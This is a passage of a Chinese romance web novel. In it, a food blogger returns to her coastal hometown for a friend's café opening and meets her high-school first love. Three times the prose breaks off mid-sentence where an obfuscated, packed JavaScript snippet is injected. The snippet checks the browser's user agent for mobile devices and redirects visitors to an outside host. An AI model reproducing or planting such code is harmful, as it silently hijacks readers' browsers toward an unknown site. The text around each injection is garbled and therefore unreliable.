《海边来晤》 1. 让水倒流 故事的开始,该从哪里说起呢? 是周禧把只有一行字的辞职申请丢在老板面前的潇洒转身,还是发现自己这个美食博主失去味觉时的茫然无措? 或者干脆从她提着行李箱从陌生的高铁站下车,坐上出租车去好友新开的咖啡馆开始吧。 明天是周禧的好姐妹田恬咖啡馆开业的日子,所以她特意坐了最近的一趟高铁,赶回琴港市。 正值五一小假期,票不好抢,她从公司去火车站的路上捡漏了一张人家刚退的票,快到站了才给田恬打电话。 田恬果然惊呼,然后骂她不早打招呼,要去车站接她。 周禧心情愉悦地听着好友的念叨,听到田恬正在店里做开业准备,让她把地址发过来,说要去帮忙。 这个高铁站不在主城区,很新很大,不知道什么原因一直没有完全投入使用,空旷的大厅走路说话都有回音。 等候的出租车司机听完她报的目的地,拿起老花镜戴上,食指在手机地图上划拉了几下,又把花镜摘下去,胸有成竹地说了那附近几个地标建筑物,也没看导航就出发了。 周禧比司机还松弛,不怕他绕路,主动提出来:“师傅,走跨海大桥吧。” 司机从后视镜里瞥了她一眼,“行啊,跨海大桥景好,来旅游的是吧?咱们这个跨海大桥可大,全国也没几个,第一是港珠澳,再就数着我们这个了……” 热情的司机侃侃而谈,周禧托着腮看窗外,没给回应,但在司机提到走大桥需要付过路费的时候,点点头:“嗯,我来付。” 其实周禧不是游客。 她在这座海滨小城生活了十八年,直到十八岁去外地上大学,之后又工作,一晃就快十年,故乡倒是很少回来了。 是傍晚,窗外的海湛蓝,天边的云裹着橘黄色的光圈,晚霞变成了紫色,海天连接的边界看不清晰,只觉得梦幻浪漫。 这段路她没印象走没走过,又或许是走过了但没注意去看。 年少的时候总是走得很快,只关注什么时候到达目的地,最多再看看同行的人,很少看两侧路边的风景。 等到终于学会欣赏路边的景色时,已经长成了无聊的大人。 车子驶进老城区,入目的景致逐渐熟悉了,晚高峰走走停停,拥堵得让人眼晕。 终于停车落地时,周禧觉得自己脚都发软,踩在台阶上有种喝醉的不真实感。 首先看见周禧的是邵海——周禧的昔日同学,田恬的现任老公。 邵海正听着田老板的指挥,扛着一把木椅子调整摆放位置,一抬头看见了从院子里走来的周禧,温和地笑着问好:“哟,我们尊贵的vip来了。” 田恬听到声音转头,两手各拿着一个小花瓶,看见了周禧开心地跑过去,也没跟她客气,直接把花瓶塞了她手里:“来,来,帮忙插花。” 邵海把椅子放好了,不满地替刚进门的周禧抱怨:“你怎么谁都要安排啊!” 田恬眼刀飞过去,邵海瞬间闭嘴,默默继续干活。 就这样寒暄都没得一句,周禧把行李箱放在墙角,就撸起袖子陪这夫妻俩一起忙活起来。 因为是新门店,有饭后遛弯的老夫妻路过,驻足在小院门口张望了一会儿。 田恬看见了,拿着优惠券跑出去送人:“明天开业,全场五折,欢迎来看看呀~” 老先生接过去,念着花体字的店名:“海边来……” 田恬见他看不清,忙接话:“来晤,会面的那个意思。” 老太太“哦哦”点头,拍拍老伴的胳膊:“面馆,上次去那个哪儿旅游,咱不是还吃了嘛,烩面!” 老先生也跟着点头,“挺好挺好,以后不想做饭可以来买一碗哈。” 老夫妻挽着手走了,留下一脸懵的田恬和笑得停不下来的周禧。 周禧退到门外认真看了眼店招,“海边来晤”四个文艺铁字下面是“Sea&Love”的英文译名。 她进屋,坐在吧台前发问:“这谁翻译的啊,怎么还有口音啊?‘来晤’,不应该是活着Live嘛?” 邵海正在打咖啡,给她做了杯拿铁,奶泡拉花画了大大的心形:“一样,活着不就为了爱嘛。” 周禧倒吸一口冷气,“嘶——可恶,被你装到了。” 田恬也坐到旁边,身体很疲惫,精神很亢奋,“差不多了,咱吃饭去吧,周禧是不是还饿着肚子呢?” 这损友,现在才想起来她饿肚子? 三个人对视一眼,同时开口。 田恬:“吃烧烤!” 周禧:“去喝酒!” 邵海:“野馄饨!” 说完,又同时改口:“去喝酒!” 一拍即合,打车去了不远的一片海滩,初春的夜晚还有些冷,可四面透风的大排档居然也坐满了人。 周禧看着那被风吹得猎猎作响的顶棚,坚定地说:“我想坐在外面吃。” 田恬一巴掌拍在她肩上,“这么冷,吃风啊?进屋去!明天老娘开业,冻感冒了你负责?” 禧禧被拍得一个趔趄,不甘愿地跟着坐进了饭店里面,挑了个靠窗的位置坐,大落地玻璃窗勉强也能看到沙滩上的灯火。 只是夜里的海漆黑一片,看也看不清什么。 邵海刚从前台回来,这边点菜没有纸质菜单,也没法扫码点,都是在门口的墙上看菜品,想吃海鲜的话更是直接从水缸里捞出来现宰现做。 他回来说,啤酒、烤肉、馄饨都点了,还要了个海鲜蒸汽锅。 田恬闻声点点头,她正在打电话叫人,给她们闺蜜三人组的另一位——王知夏女士发送晚饭邀约。 隔着手机,周禧都能听到王知夏在吐槽,说没人会在晚上九点还没吃晚饭! 田恬:“那就是夜宵嘛!你直接带好换洗衣服,今晚住我家,明早看开业!” 邵海在旁边跟着补充了一句:“来吧,虾虎肥了,老板说明天封海了,再想吃新鲜的要等九月开海了。” 电话里安静了几秒,王知夏说了句“慢点喝,等等我”就撂了电话。 田恬无情地挑拨周禧和王知夏的友谊:“看到没,你,还不如一只虾虎有份量!” 周禧笑着喝了口新鲜的扎啤,泡沫在舌头上跳跃,应该是有感觉的,虽然只是很淡很淡的苦味,但她好像能想象到啤酒花的甘香。 第一锅海鲜大咖上桌的时候,王知夏就赶来了。 以为她要从澄岛走隧道跋涉而来,结果人家根本就在市区,刚参加完一个新锐教育峰会的聚餐——王制片今年刚收到的高校聘书,在一家艺术院校做产业实践教师。 王知夏留着利落的短发,今天穿了身银色西装套装,里面是黑色的真丝衬衣,看起来优雅干练。 一落座,田恬正帮她给虾虎剥皮,王知夏把西装脱了,先挑眉看向周禧:“猜猜我刚才在酒店见到谁了!” 这种语气,问的对象还是她。 周禧不作他想:“李铭则?” 王知夏拍了一下桌子:“Bingo!我这就是个挂名的客座讲师,人家那可是实打实的大学老师!你别说,那叫一个西装革履,人模狗样……” 周禧听她这么描述,觉得好笑:“你不会还跟他说了我回来,邀请他来参加田恬的咖啡馆开业吧?” 王知夏:“牛哇,这都被你猜中了。可惜,他说他明天有课,来不了。” 邵海听到这里,插了一句:“明天五一。” 五一放假,明天不会有课,一听就是托辞。 “闭嘴!”田恬和王知夏一起怼他。 好的,邵海闭上了嘴,安静吃瓜。 周禧听到这话,内心并没什么波动,这都哪年的老黄历了,不就是白月光初恋嘛,分开这么多年了,相见还不如怀念,何况她也没怎么怀念过他。 赚钱太忙了,没时间。 田恬看热闹不嫌事大,撺掇周禧说:“你给他发条消息,就发个笑脸,看他拉黑你了没有?” 周禧皱鼻子:“干嘛?没拉黑的话还真请他来你家开业典礼啊?” 田恬:“请呀!万一你们旧情复燃、破镜重圆,那咱们开业典礼变新婚典礼也不是不行!” 周禧觉得纳闷:“你以前不是很讨厌李铭则吗,这是干嘛?” 田恬:“他跟你在一起的时候确实很碍眼,但是你现在单身吧,我又有点躁动。” 周禧跟邵海说:“你老婆疯了,管管她。” 邵海没存在感地指着自己鼻子反问:“谁?我?” 一幅太高看他了的怂样。 好友重逢,话总是格外得多,一个又一个的话题都不会冷场,好像不管多久没见面都不会觉得生疏,只要一见面,就回到了从前。 在外地按个计价的昂贵生蚝,在琴港市是按锅出的便宜海蛎子。 当他们讨论海蛎子是清蒸好吃还说蒜烤更好吃的时候,周禧有些走神地看了眼窗外。 沙滩上不知道什么时候点起了篝火,火焰照亮了高脚椅上抱着吉他的男人,那人穿着一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006073|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色底色的花里胡哨的棒球服,颜色突兀地像是P在这片黑色背景里的抠图。 他不是卖唱的歌手,应该只是吃饭的顾客,因为周围还围着一群捧场的好友,各个都是俊男美女,举着酒瓶用力拍手起哄。 音乐的声音很大,嘈杂,但传进饭店里面时已经失音变形。 也可能因为周禧没听过那歌,所以听不出来他在唱什么。 只是在那男人声情并茂地抬起下巴嘶吼时听懂了一句:“就让水倒流……” “喂!看啥呢?哦,有帅哥?”王知夏忽然抬手在她面前挥了挥让她回神,顺着她的视线看出去,也看见了在唱歌的男人。 周禧扭回脸,答了句:“在想那个帅哥打了几斤发蜡。” 这么大的海风,他的发型还能抗得住,纹丝不乱。 几人哈哈了一番,又聊别的去了。 吃饱喝足,周禧没有应田恬的约去她家过夜。 周禧在琴港市有家——或者说有个小房子。 只是好久没住了,她得先去买点生活用品。 互相道别,约定好明日见面时间,几个人各自打车回家。 周禧站在路边等出租车的时候,看到马路对面有个24小时便利店,在雨夜里亮着温暖的橘色灯光。 她取消了手机界面上的排队叫车,跟朋友话别,然后在绿灯再次变幻前穿过了人行道,走进那间便利店。 牙刷牙膏……还要买什么来着? 站在货架前,周禧忽然茫然了,她不知道家里缺什么,最后居然就只拿了这两样去结账。 身后的冷藏柜前也有人走动,跟她前后脚到了收银台排队。 周禧不自觉回头看了眼,嗯? 那人也看过来。 这么巧,是李铭则。 显然,李铭则也没想到会遇见她,一时居然不知道该做什么表情。 周禧的视线下移到他的手,他手里抱了一堆易拉罐,是各种各样的啤酒。 想起来晚上王知夏说的,告诉了他自己回来的消息,周禧不禁要猜疑一下,他会不会是因为自己回来了所以要“借酒浇愁”。 也不能算很自作多情,对吧? 她发愣其实没有几秒,前面的顾客结完账她就走上去补位了,没顾得上跟李铭则打声招呼。 收银员在给牙刷扫码。 李铭则像是拿不了那么多瓶瓶罐罐,把酒都放在了台面上,说了句:“一起结吧。” 周禧没反应过来他什么意思,以为他让自己把他的酒一起结了,问:“你没带钱啊?” “……”李铭则无语,又有点想笑。 他把手机付款码亮给收银员,算是跟周禧解释:“我有会员卡。” 所以顺便把她的牙刷牙膏一起结了。 走出便利店的时候,才发现天空居然飘起了细密的雨丝。 周禧忙回头去买伞,还没踏进门口,就看见收银台边装伞的大桶里,最后一把雨伞被后面那个女生买走了…… 好吧,周禧干脆往旁边挪了几步,站在便利店门口的屋檐下叫车。 她叫完车,才看到李铭则还没走。 他一手举着伞,一手提着装满啤酒的塑料袋。 离着一段距离,周禧能看见他的全身了,他穿着黑色的长款风衣,里面是灰蓝色的休闲衬衣,戴着金属框的眼镜,看着……还真像个斯文的大学老师,帅的那种。 她忽然想起来,好像见面还一直没打招呼,于是说了声:“哈喽~” 没头没脑的一句,像才认出他来似的。 李铭则没搭理她,周禧也不觉得尴尬。 这次很快就打到了附近的出租车,周禧说了句“我车来了”,抬脚拖着行李箱就跑,李铭则长腿一迈,撑着伞跟在她旁边。 伞分给她一半。 周禧抬头看头上那一片黑色穹顶,有些恍惚。 一身干爽地坐上了出租车,车里正放着电台音乐。 周禧感觉这歌很熟悉,又很陌生。 想了想,记起来了,是吃饭的时候沙滩上那个帅哥唱的歌。 这次她终于听清了歌词,原来唱的是: “就让水倒流,让小雨飘走,变成了白云,回到蓝天……” 周禧又后知后觉了,她回头,隔着被雨水模糊的车窗去寻找李铭则。 车已经不知道开出几个街区了,要找的人也早不见踪影。 周禧想,早知道…… 早知道她今天应该洗个头再出门的! 2. 爱情路和煎饼果子 周禧到家的时候已经半夜了,她非常想要先睡一觉,可沾着湿气的头发丝还是迫使她先打起精神洗了个热水澡。 拆开新买的牙刷要刷牙,找口杯时,才看到洗手间镜子后面的隐藏格里摆满了新的洗漱用品。 应该是阿姨放过来的,这边会有阿姨定期来扫尘,每次来会跟她发消息也会拍照片,只是她没仔细看过。 躺在柔软的大床上,周禧怀里抱了个枕头,仰面看着天花板,连呼吸都有些孤单。 这房子是她爸留给她的。 她爸还健在,不过在她上大学那年跟她妈离婚了。 之后父母分别再婚有了新的生活。她名义上判给了她爸,但基本上跟两边都不怎么联系,逢年过节打个照面,就像走亲戚似的。 所以即使回故乡,也像个旅客。 甚至因为有了“故乡”这样的背景,显得更加凄凉了,还不如在外地漂泊打工的忙碌。 这套房子是她大学毕业那年问她爸要的,那年他爸老来得子,却莫名对周禧产生了亏欠的感觉,周禧也不客气,看到个小户型的楼盘广告,被那句广告词“自己给自己一个家”戳中了,直接要她爸买了套新房子记在自己名下,面积不大,但好歹算是有个自己的“家”。 在不太熟的家里睡了个熟觉,早上闹钟一响,她一个鲤鱼打挺翻滚起来,没忘了一早要去田恬的店里帮忙。 给朋友打工,可比给老板打工积极多了。 出门的时候,隔壁邻居也正好在锁门。周禧抬头看了眼,是个拖着银色行李箱的帅哥,看起来跟她年纪差不多。 帅哥也看向她,微笑着点了点头,挺友善。 周禧于是回了个生疏的微笑。 电梯是一梯两户的,他俩都要下楼,便共乘一架电梯。 这种不熟的邻居最是尴尬,尤其在狭小的空间里,周禧站在角落,都不知道视线该看哪里。 对方显然是个挺社牛的人,在一室沉默中,无厘头地背对着她招了招手,说:“嗨~” 周禧懵了一下,好在电梯下行速度很快,门开了,她先一步从他身边走过去,出去了才转身对他招招手:“拜拜~” 田恬夫妻俩出门前又收拾了一堆包裹,到店反而不如朋友们早。他俩来的时候,周禧已经跟王知夏坐在院子门口的石头台阶上啃煎饼果子了。 口留香的煎饼果子,她们上学那会儿经常当作早餐,是在外地吃不到的口感,酱汁有些酸甜,夹心的薄脆也炸得甜甜的,外皮是软软的蛋饼。 一方碳水养一方人,小时候吃惯的味道,心里已经认定了正统地位,天王老子来了这也是最正宗的煎饼果子! 周禧依旧尝不到味道,可她就是知道这个煎饼果子好吃。 田恬不仅没说抱歉久等,还跟邵海商量再配两把钥匙给她们拿着,这样以后就不用在门外等了。 王知夏先提出了拒绝,不是怕店里丢了财物说不清,是拒绝当免费牛马:“给我开几个工资啊,就打算让我当小工!” 邵海用大家都听得到的声音小声问田恬:“她不是那年在尼泊尔的菩提树下皈依了吗?” 田恬也小声回答:“钱财手上过,佛祖心中留吧。” “你们好歹在背后蛐蛐我啊,当我聋了吗?我要罢工!”王知夏说归说,却依旧拿着打气筒给满院子的气球充气,手里不停歇。 周禧没说话,一直笑着扫院子。 真热闹啊,她喜欢听她们吵来吵去的斗嘴,这样的背景音让她安心。 战火不一会儿就烧到了自己身上,田恬夸她今天打扮得很“有味道”。 语气揶揄,眼神调侃。 周禧还没告诉她们自己昨晚上跟李铭则偶遇的事,怕这平地一声雷给她们炸得无心开业、只想八卦了。 她笑笑,冲田恬皱鼻子:“得了吧,人家都拒绝王知夏了。” “人家~哪个人家啊~心虚了是不是?”被点名的王知夏捏着嗓子学她说话,说完又补了句,“那可不是拒绝我哈,拒绝的是田恬!又不是我开业!” 王知夏开玩笑的时候也会注意分寸,或者是下意识的不说会让周禧难过的话——比如“李铭则拒绝了周禧”这种完全禁忌语。 当年周禧追了李铭则三年才在一起,为什么啊,不就是因为李铭则拒绝了周禧三年嘛。 说说闹闹的,店里来的人也多了,没有顾客,都是邵海和田恬的亲戚朋友来捧场。 咖啡馆不大不小,但店里面也坐不了太多人,周禧和王知夏戴上了店里的定制围裙,在院子外面站着聊天,拿着庆祝用的礼花,研究怎么拉响。 王知夏:“咱俩怎么跟伴娘似的?” 周禧:“是呗,他俩婚礼没赶上,现在在这儿等待吉时了。” 王知夏:“那是我们没赶上吗?是他俩就没办婚礼好吧。” 周禧:“1111。” 后来开业吉时到了,她俩都特意对着邵海和田恬拉礼花,彩色的丝带绽开在老板和老板娘头顶,引来一阵起哄,还真有点婚礼的热闹气氛。 小两口和兼职的服务生招待店里的亲朋,王知夏拉着周禧去了附近的公园发传单。 周禧乐得跟着她去“拉客”,正好跟店里的这些人不太熟又不能不寒暄。 来晤咖啡馆是沿街的带院老房子,出了门是干净的马路,马路不算宽阔,是单行道,道路两侧的银杏树带来清爽的气息。 马路的尽头就是大海,正值假期,有不少正走向海边,也有很多人在这条“通往大海的小路”拍照。 她俩没往海边走,而是去了反方向的公园:“在海边玩得开心的人,应该不想被人打扰吧。” 至于公园,也没有个确切的大门,最瞩目的是中央的那一条大街,地面都是粉色的涂鸦,各种爱心虽然有些俗气但还挺有氛围。 路口的路牌写着这条路叫“爱情路”。 有很多小情侣正在路上拍照,还有小朋友在路中间蹦蹦跳跳地捡树叶,阳光照在每个人的笑脸上。 “铛铛铛——”不远处传来悠扬的声音。 周禧抬头看过去,只见有辆红色的大巴车开向这边,车子很复古,像那种影视城里的民国电车,车头还挂了个红色的花球,花球下面是个繁体双喜字。 王知夏刚给人发完一张传单,也抬头,跟周禧解释:“那个是铛铛车,观光巴士,估计这是有人包车当婚车了吧,还挺酷。” 很酷的铛铛车开到了周禧面前停下。 应该说是开到了路牌下面停下,周禧她俩就在路牌附近站着。 车上下来一群年轻的男女,簇拥着穿了轻婚纱和休闲西装的新人一起录像拍照,果然是辆婚车。 周禧还在感慨他们有创意的时候,王知夏已经拿着传单走上前去跟人家贺喜了,她说她要请这一车的人免费喝咖啡。 于是周禧也不知道自己怎么就稀里糊涂跟着坐上了这辆承当婚车的铛铛车,听着新郎的一个什么朋友拿着导游麦克风高歌“让我们红尘作伴活得潇潇洒洒”,一路开回咖啡馆去。 周禧坐在后排角落,脸上不由自主挂着笑意,是被别人的喜悦传染的那种,没什么想法的生理性的笑,但又挺发自肺腑的。 这铛铛车不止外表复古,内里也很出片,周禧不禁掏出手机来拍了张照片。 按下拍摄键的时候,还有新人的朋友闯入镜头比了个耶,一点都不见外。 王知夏也举着手机,不过不是拍照,是在给新娘扫码送“礼金”。 她说要请大家喝咖啡,那咖啡钱自然是她付,这么“多此一举”地先把钱转给新娘,让新娘一会儿买单,无非是不想叫田恬看到了跟她推托。 周禧看到了,心里有些感慨,王知夏处世越来越……找不到合适的词去形容,圆滑似乎不是个褒义词。 就是越来越像个成熟的大人了吧。 路途不远,铛铛车很快开到了来晤咖啡馆的门口。 新人的朋友们点了单小坐休息,跟拍的摄影师带着新人在院子里取景又拍了一组好看的镜头。 田恬忙得脚不沾地,也没空跟周禧她们道谢,邵海抽空拿了俩露营的折叠椅给周禧,让她俩去门外坐着晒晒太阳:“歇会儿。” 倒也没有很累,但周禧和王知夏从善如流地搬着小椅子就出去坐着了。 坐出去才发现,停在门口的那辆铛铛车居然还吸引了不少路人,一波波的来车前合影,顺带着也看看后面的咖啡馆。 也算是意外收获。 周禧和王知夏歇着,就真是放空,话都没说几句。 王知夏忽然问了句:“这次回来计划待几天啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006074|161936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周禧不过脑子地答:“两三天吧,没计划。” 王知夏就点点头,没再问了。 店里一直忙到了黄昏,才终于有了些清闲。 邵海跟店员一起做清洗的工作,田恬伸着懒腰舒了口气,刚跟姐妹们说收拾一下准备去吃饭了,院子里半掩的门被推动,带响了门前的风铃声。 田恬向门口迎了两步,歉意地说着:“不好意思,今天打烊了。” 试营业,准备的原材料并不充足。 结果来人还是往店里走,一边走一边喊:“田老板!开业大吉呀!” 田恬再看一眼,才认出是老同学,笑意都满了几分:“呀!班长!” 听到田恬的声音,周禧和王知夏也出来,见到了院子里的人,跟着叫了声“班长”,是她们高中时的男班长。 班长:“哟,你俩也在,我是看我同事发的朋友圈,一看这个老板娘不是田恬嘛,赶紧过来贺个喜。” 再一聊,他那个发朋友圈的同事是今天在婚车上高歌的哥们。 小城就是这样的,出趟门能碰着一串熟人。 班长也不只是来贺喜,还来给田恬和邵海发邀约:“钱老师上周退休了,明天晚上我们准备了个谢师宴,你们有空来吗?哦,还有你俩,也一起呗?” “我临时回来的,可能……”周禧直觉想拒绝,话还没说完,门口的风铃又响了。 几人一起回头。 这次是李铭则,手里抱着一束包装精美的大麦,没想到院子里站了这么多人。 沉默中,他清冷的声音先开口:“路过,来贺个喜。” 班长倒像是店里的主人,上前去接了花,搂着李铭则的肩膀亲热地打招呼:“你小子现在挺有派啊!” 招呼完了又说了谢师宴的事,喊李铭则一起参加:“周禧也去呢!” 周禧:……她什么时候说去了? 李铭则看向周禧,田恬和王知夏也看周禧,后知后觉的班长也看周禧。 周禧头皮发麻,说出口的话变成了:“他又不是咱们班的,去干嘛啊?” 这倒是真的,李铭则是隔壁班的。 但是班长眼一瞪反驳道:“那老钱不是他老师吗?” 说完又看李铭则:“你说,教没教过你?” 李铭则只好点头:“教了。” 班长满意了:“就是嘛,你忘了,钱老师当时还磕你俩的CP呢哈哈哈!” 只有他一个人在哈哈哈。 其他人都不说话了。 邵海对着他竖起大拇指:“老苟,你还是一如既往的,真狗啊。” 班长姓苟,名彦文,江湖人称“狗班长”。 田恬用胳膊肘拐了拐邵海,干笑着说她们回头商量一下给钱老师送点什么礼物。 送走了苟班长,兼职店员也打了声招呼下班了。 只剩自己人。 外加一个李铭则。 李铭则难得主动解释:“今天确实有课,录制青年节的视频公开课,下午才录完。” 说完好像没什么话了,“那我也回去了。” 田恬看王知夏,王知夏看周禧。 周禧抬手跟他挥挥:“拜拜。” “嗯。”李铭则便转身出门,身影消失在暮色中。 他人还没走远,田恬和王知夏已经忍不住鬼叫了,拉着手围着周禧跳大神:“有情况!绝对有情况!” 她们没有形象地闹腾着,院门再次推开。 李铭则又回来了,依旧没什么表情,指着桌子上的花说:“我包忘拿了。” 那束大麦花旁边,有个黑色的男士手包,不大,刚才苟班长太过热情地去接花,把包也一起给他端走了。 田恬和王知夏因为刚才的起哄略微尴尬地噤声,然后默契地推了一把周禧。 就像当年无数次试图给好姐妹制造机会一样,在走廊,在操场,在校门口……把她推出去,推到她喜欢的人面前。 周禧被这一推,有些恍惚的错觉。 她竟也有了开玩笑的心情,把桌子上的手包递给李铭则:“想多看我一眼,也不用找这么蹩脚的借口吧。” 李铭则没搭话,接过包就走了。 只是转过身踏出门外,像是才听懂到她的玩笑似的。 不自觉弯了嘴角。 3. 旧情人有旧情 周禧第一次见李铭则是在高中入学报到那天,所有学生在教学楼门口签名领书。 她那天为了漂亮,没背双肩包,拿了个系着粉色大蝴蝶结的小挎包,包里一本书都舍不得装,挂在手腕上,吃力地抱着她的新书往楼上教室走。 楼梯上,小挎包一甩一甩的,甩到了后面跟着的男生身上,砰的一声。 周禧慌忙回头道歉,嘴上说着“对不起对不起”,结果手忙脚乱,新书掉了一地。 身后的男生很好心地弯下腰来,帮她捡书。 周禧窘迫地红着脸说谢谢,男生什么都没说,只是把书还给她就走了。 他这次走到了她前面,转角上楼的时候,周禧看到了他的侧脸。 只一眼,她就在心里骂了一声:好**帅! 等周禧找到自己的新教室时,王知夏和田恬都已经坐在里面抄课程表了。 田恬冲她招手,旁边给她空了个座位,“你怎么才来啊?刚才领书不是排我前面吗?” “我迷路了。”周禧无语地为愚蠢的自己翻了个白眼,紧接着又兴致勃勃地和姐妹八卦,“我刚才遇到一个大帅哥,超级无敌大帅哥!” 刚把画课程表的直尺收起来,王知夏看了她一眼,表情存疑。 毕竟周禧太过博爱了,从小学到初中,她认可的帅哥能站满八个足球场。 周禧像是要支持自己的言论,又强调了一遍帅哥的下颌线和高鼻梁多么迷人,“下次再见到,我指给你们看!” 田恬哄小孩似的说着“好好好”,把自己刚抄好的课程表借给周禧抄,约着她俩一会儿放学去校门口的精品屋买包装纸,包书皮。 坐在另一边的新同学,看她们仨说说笑笑,忍不住问:“你们以前认识啊?” 田恬表情特别骄傲:“对呀,我们之前在夏令营认识的,后来在一个补习班!” 初一的时候少年宫有夏令营活动,她们通过了合唱团的选拔,去维也纳游学演出,路上熟识了,回来也保持着联系成了好朋友。 新同学赞叹:“哇,真有缘分!” 也不能说纯靠缘分,起码高中能一起考到琴高,她们仨都是努力了的,尤其是成绩一般的周禧,被她俩拉着熬了不少大夜补习,才勉强擦边考进来。 田恬肯定地点头:“确实有缘!” 周禧低头在新书上写名字,跟那个新同学说了句:“三分天注定,七分靠打拼。” 写到“高一5班”的时候,周禧忍不住想到了她们的班主任——田恬的小舅……怎么说呢,周禧能想象的到,以后她们仨会得到班主任怎样的“关照”。 -- 第二天周禧和王知夏都没去咖啡馆帮工,田恬不让她们去,说是要培训店员。 于是周禧窝在家里睡了一整天,直到太阳准备西沉,她才被饥饿唤醒。 人在黄昏醒来的时候最容易产生莫名的忧郁情绪,周禧缓了好一会儿,才想明白自己在哪里,今昔是何夕。 今晚,还有个谢师宴要参加。 一个仓促的全无心理准备的聚会,就像当年动不动就突击而来的周测月考一样。 周禧没有刻意打扮,但她上镜拍摄化妆已经成自然了,很顺手就化了个精致的妆,衣服倒是穿得随意,因为她回来得匆忙,行李箱里只带了两件她随手从衣柜里扯下来的常服。 周禧到达酒店的时候屋里已经坐满了人。 今晚只安排一桌,可这桌子巨大,能坐36个人,圆桌中间的景观也很牛,放了半个地球。 让周禧莫名想起来当年徒手画圆的地理老师。 有两个原本站在门后聊天的同学,见到周禧来了浮夸地尖叫:“哇!我们的网红CC来啦!” 此处网红并不贬义,甚至有点调侃的追捧。 周禧尴尬地笑笑,看到王知夏和田恬已经到了,还给她在身边留了空位子,找到援兵一样跑过去。 坐下之前先跟钱老师打了个招呼,寒暄了几句。 等到落座,一抬眼,发现正对面坐的是李铭则,他隔着地球看了她一眼,点了点头就跟旁边的人继续聊天了。 尽管已经毕业十年,钱老师却还能记住每个学生的名字,甚至记得很多稀奇古怪的糗事,如今说出来都成了茶余饭后的笑话。 钱老师问周禧:“你结婚了吗?” 钱老师人胖胖的,脑袋大大的,像《灌篮高手》里那个安西教练,以前学生给他起外号叫钱胖子,也叫他钱大头。 现在,周禧只觉得自己的头比钱大头还要大。 因为她已经预知了钱老师接下来的问话,果然,钱老师又说:“刚子也没对象呢!” 刚子,就是李铭则。 这个莫名其妙的代号还是拜周禧所赐。 那是高一开学不久,某次合班上体育课的时候,周禧一眼认出来了李铭则,掐着田恬的胳膊激动地晃:“那个,那个!” 田恬倒吸一口冷气:“哪个哪个?你别掐我啊!” 周禧的心跳得特别快,就这么突然又见到了那个男生,像是在分享一个独属于她的秘密,让人心情激动。 田恬顺着她的指引看到了她嘴里的帅哥,客观评价:“确实不错。” 周禧听到好友的肯定,更开心了,一把松开了田恬,豪迈地说:“那我去问他加个好友。” 田恬瞪大了眼睛,想劝周禧冷静,又想去帮姐妹撑场子。可她没经历过这种阵仗,两只脚灌了水泥一样立在原地,发呆的短短时间,眼睁睁看着周禧自己走向篮球场。 周禧也是一时冲动,等到走进了球场的铁门,理智才回笼。 可是有点晚了。 因为不大的场地上,那几个正在打篮球的男生都停了下来,看向这个误闯进来的女同学。 本来也不至于都停下,只是气氛是一种很微妙的东西,少年们敏锐地嗅到了八卦的味道,总觉得这女生来势汹汹。 被一群人围观,周禧怂了,抬眼瞥见那个男生胸口戴着的姓名牌。 黑体加粗的小字,给了她勇气。 她跟他打招呼:“嗨!李铭刚!” 正在拍着篮球的李铭则手一抖,差点被滚落的篮球绊倒。 “轰——”周围的男生纷纷起哄,笑他,“嗨~李铭刚~” 李铭则原本因为打球就有些热度的脸,被闹得完全涨红起来。 他都不知道该说什么,沉默地看着面前紧张地对他笑的女生。 周禧不知道他们笑什么,但是她觉得自己笑得比哭还难看,红着脸胡言乱语:“啊,我好像认错人了。” 李铭则感觉自己再不开口的话,那个女生可能脸要冒火了——尽管他也好不到哪里去。 他说:“确实认错了,我叫李铭则。” “哦哦哦,再见李铭则!”周禧已经没有勇气加人家好友了,落荒而逃。 本以为是一次完全失败的“搭讪”,可从那以后,却经常能遇见他,也正常,毕竟他们就在一层楼,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王知夏正在跟家里做地产的同学发名片,她今晚来可是扩展了不少业务。也有不知是喝多了还是假装喝多了的男同学,搭着王知夏的肩油腻地笑:“咱们校花真是变了啊,今天一晚上比以前三年说的话都多。” 王知夏巧妙地躲开他的手,客气道别。 周禧站在路边,不远不近地等着她,判断需不需要帮忙。 李铭则经过周禧身边,顺着她的视线看过去,知道她在等谁,问了句:“要我送吗?” 周禧刚刚听到他叫代驾了,她还没想好要不要拒绝,王知夏已经跑过来了,“不顺路也送吗?” 李铭则看王知夏,表情很清醒,脚步很凌乱,他点点头,“上车吧。” 王知夏想吐,所以不客气地坐在了副驾上,周禧便只好跟李铭则一起坐后排。 旧情人是有旧情,可这么多年过去,那些纯纯的悸动早也就随风散了。 起码周禧在王知夏下车前是这么想的。 王知夏家住得远,即使夜晚车道顺畅也开了半个多小时。 再从她家折返回周禧的住处,又是极长的沉默。 车子进了隧道,四周看去都是封闭的墙面,顶灯白晃晃的毫无美感,不像电影里昏暗的桥洞和暧昧的光影。 “刚才跟钱老师说的是假的。”李铭则忽然说了这么一句。 “嗯?”周禧扭头看他,没等他解释,反应过来了,“哦。” 他应该是说“有对象了”那句是假的。 啧,那又关她什么事。 他似乎在等她回一句什么。 周禧把头转向窗外,隧道有一段的墙面是蓝色马赛克瓷砖,像是大海。 她开口:“我明天就回沪市了。” 4. 